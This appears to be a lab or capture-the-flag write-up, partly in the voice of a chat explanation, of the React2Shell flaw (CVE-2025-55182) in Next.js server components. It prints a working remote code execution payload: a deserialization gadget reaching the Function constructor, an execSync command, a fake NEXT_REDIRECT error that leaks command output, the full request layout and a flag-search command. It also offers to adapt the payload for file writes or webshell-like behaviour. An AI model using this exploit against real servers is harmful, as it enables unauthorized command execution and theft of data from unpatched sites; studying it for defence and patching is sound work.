Skip to content

React2shell

Back

[!bug] React2Shell: CVE-2025-55182 React2Shell PoC that really works

  • and just find flag: find / -maxdepth 4 -iname \"*flag*\" 2>/dev/null

[!tldr] how it actually works

How it works

Why this doesn't works

"_prefix":"process.mainModule.require('child_process').execSync('id');"

...but this does:

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"

Those X-Nextjs-* headers – what are they?

X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
  • These are framework-level correlation IDs – same idea as X-Request-ID, used for logging/tracing across internal requests. (Stack Overflow)
  • Next.js / Vercel will often generate them server-side and send them down. They might also be echoed back to internal logs to help debug issues. (GitHub)
  • For the vuln/exploit, they are not part of the RSC protocol and not required for the React2Shell chain.

That’s why with no X-Nextjs-* headers — and the exploit still hits. So: those headers came from whatever original request the PoC author sniffed; you can usually drop them unless the app itself uses them for something custom (auth, CSRF, etc.), which most don’t.

What is NEXT_REDIRECT and why are we throwing it?

In Next.js App Router, redirects don’t work like res.redirect() in old-school Express. Instead, they use a special helper:

import { redirect } from "next/navigation";

redirect("/login");

[!tldr] Docs literally say: Invoking the redirect() function throws a NEXT_REDIRECT error and terminates rendering of the route segment in which it was thrown. Next.js Docs

So under the hood:

  • redirect() (and permanentRedirect()) throw an Error object whose message/name is "NEXT_REDIRECT" and whose digest property encodes redirect metadata.
  • The Next.js runtime catches that special error upstream and:
    • sets the right HTTP status (302/307/308),
    • sets Location: ...,
    • or, in RSC mode, encodes it in the response stream (E{"digest": ...}).

Security writeups for CVE-2025-55182 show exactly this pattern being abused in exploits: (Datadog Security Labs)

throw Object.assign(new Error("NEXT_REDIRECT"), {
    digest: `NEXT_REDIRECT;push;/some/route;307;`,
});

So in your payload:

var res = process.mainModule
    .require("child_process")
    .execSync("id", { timeout: 5000 })
    .toString()
    .trim();

throw Object.assign(new Error("NEXT_REDIRECT"), {
    digest: `${res}`,
});

you are:

  1. Using the RCE primitive to run id.
  2. Grabbing its output into res.
  3. Throwing a fake redirect error where digest is actually your command output, not a real redirect descriptor.

Next’s runtime still treats it as a redirect-ish error and serializes it in the Flight stream as:

1:E{"digest":"uid=1000(...)"}

[!question] So, difference only in error handler? We just redirect payload to error?

Close, but more precise framing:

  • We’re not “redirecting” the payload; we’re smuggling data through the redirect error channel.
  • The RCE happens because of the RSC/proto-pollution gadget.
  • The NEXT_REDIRECT error is just a legit, expected code path that:
    • propagates through the framework nicely,
    • gets serialized in a predictable way,
    • and is attacker-controllable → perfect data exfil channel.

Earlier, when you only had:

process.mainModule.require("child_process").execSync("id");

You might have had RCE already, but:

  • no returned value,
  • no file written,
  • no error thrown with that output,

→ so there was no observable side channel for the command result in the HTTP response. It just ran and vanished.

So what’s actually “the key” in this payload?

You’ve got two distinct layers:

1️⃣ The RCE primitive (React Flight / prototype-pollution)

This part:

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": "var res = ...; throw Object.assign(new Error('NEXT_REDIRECT'), {...});",
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Is abusing the React Flight deserializer to:

  • pollute __proto__.then,
  • climb to constructor.constructorFunction,
  • call Function(_prefix) to run arbitrary JS. (GitHub)

That’s the actual exploit.

2️⃣ The exfil channel (error / redirect plumbing)

Inside _prefix, you decide:

  • how to run your payload (execSync('id')),
  • and how to leak it back (here: Error('NEXT_REDIRECT') with digest = res).

You could just as well:

  • write to a file,
  • set some global state the app later reveals,
  • or craft a digest that conforms to Next’s redirect format ("NEXT_REDIRECT;push;/foo?a=${res};307;") and leak via Location header instead. (Datadog Security Labs)

So yeah, the structure (then, status, value, _formData.get, _chunks) is non-negotiable RCE plumbing. The NEXT_REDIRECT bit is an optional but very handy trick to turn “blind RCE” into “RCE with visible output”.


4. Why did your stripped-down version now work?

Your final working request:

POST / HTTP/1.1
Host: 10.0.2.15:1337
Next-Action: x
Content-Type: multipart/form-data; boundary=...

--boundary
name="0" → gadget JSON
--boundary
name="1" → "$@0"
--boundary
name="2" → []
--boundary--

is basically:

  • the minimal valid RSC action call for that lab,
  • plus the proper gadget JSON and the NEXT_REDIRECT-style error handler.

You proved that:

  • X-Nextjs-Request-Id / X-Nextjs-Html-Request-Id are irrelevant noise.
  • payload is a key ok → yes: the gadget + error plumbing is the heart of the exploit, not those headers.

If you want to go deeper, good reads (no HTB spoilers, just internals):

  • freeqaz’s React2Shell writeup (Flight protocol & proto-pollution chain). (GitHub)
  • Next.js docs on redirect() / permanentRedirect() to see how NEXT_REDIRECT is meant to behave normally. (Next.js)

If you want, next step we can walk through rewriting _prefix to do something else (file write, simple webshell-like behavior, etc.) while still using the same NEXT_REDIRECT trick to confirm it works, without touching anything HTB-specific.




Because the first one only runs code, while the second one runs code and stuffs the result into a channel Next.js actually serializes and sends back to you.

Short version in hacker-speak:

  • _prefix: execSync('id'); → RCE happens, but the output dies on the server.
  • _prefix: var res=...; throw NEXT_REDIRECT with digest=res; → RCE happens and you hijack Next.js' redirect mechanism to smuggle the output back.

Let’s map that to how Next.js actually works.


1. What _prefix really is

In the React2Shell / RSC vuln (CVE-2025-55182), _prefix becomes the body of a dynamically constructed function. That function is executed server-side.

So with:

_prefix: "process.mainModule.require('child_process').execSync('id');";

you’re effectively doing:

function injected() {
    process.mainModule.require("child_process").execSync("id"); // runs, returns a Buffer, but you ignore it
    // function ends
}

Result:

  • id runs on the server.
  • You don’t return anything, don’t throw anything.
  • React / Next just continues rendering like nothing happened.
  • There’s no link between that Buffer and the RSC/Flight response, so the client never sees it.

You have RCE, but no exfil, so “it doesn’t work” from your perspective.


2. What the working payload does

Now look at the “good” version:

var res = process.mainModule
    .require("child_process")
    .execSync("id", { timeout: 5000 })
    .toString()
    .trim();

throw Object.assign(new Error("NEXT_REDIRECT"), { digest: `${res}` });

This does two critical things:

  1. Captures the command output into a variable (res).
  2. Throws a special error that Next.js understands and serializes.

2.1 NEXT_REDIRECT is not a random string

Next.js’ redirect() helper (from next/navigation) is implemented by throwing a special error type. Docs literally say:

Invoking the redirect() function throws a NEXT_REDIRECT error and terminates rendering of the route segment in which it was thrown.

Internally, that error has a digest property, e.g.:

Error('NEXT_REDIRECT') {
  digest: 'NEXT_REDIRECT;push;/some/path;307;'
}

The framework catches that and uses digest to:

  • Decide the HTTP status (302/307/etc.),
  • Set headers,
  • Encode it into the React Flight stream as an error chunk like:

    1:E{"digest":"NEXT_REDIRECT;push;/some/path;307;"}
    

The Medium / blog posts on this show the same pattern: redirect() → throws NEXT_REDIRECT with a digest that the runtime inspects.

2.2 You’re hijacking that mechanism

Your payload:

throw Object.assign(new Error("NEXT_REDIRECT"), { digest: `${res}` });

= “Pretend this is a normal Next.js redirect error, but instead of a real redirect descriptor, put my command output into digest.”

Next’s RSC layer sees:

  • An error whose message = 'NEXT_REDIRECT'
  • Has a digest string = uid=0(root)...

It happily serializes it into the Flight response as:

1:E{"digest":"uid=0(root) gid=0(root) ..."}

So now:

  • Same RCE primitive as before,
  • But the result is smuggled back via an expected code path (redirect error handling),
  • And you can read it from the response.

3. TL;DR difference

  • Non-working (from your POV)

    "_prefix": "process.mainModule.require('child_process').execSync('id');"
    
    • Runs id.
    • Discards the result.
    • Doesn’t throw or return anything special.
    • Next.js has nothing interesting to serialize → you see no command output.
  • Working

    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"
    
    • Runs id.
    • Stores stdout in res.
    • Throws a NEXT_REDIRECT error (same mechanism redirect() uses).
    • Next.js expects to serialize this error’s digest into the RSC/Flight stream.
    • You’ve replaced that digest with your command output → you get visible output.

So: both payloads give you RCE, but only the second one also gives you a reliable, framework-native exfil channel.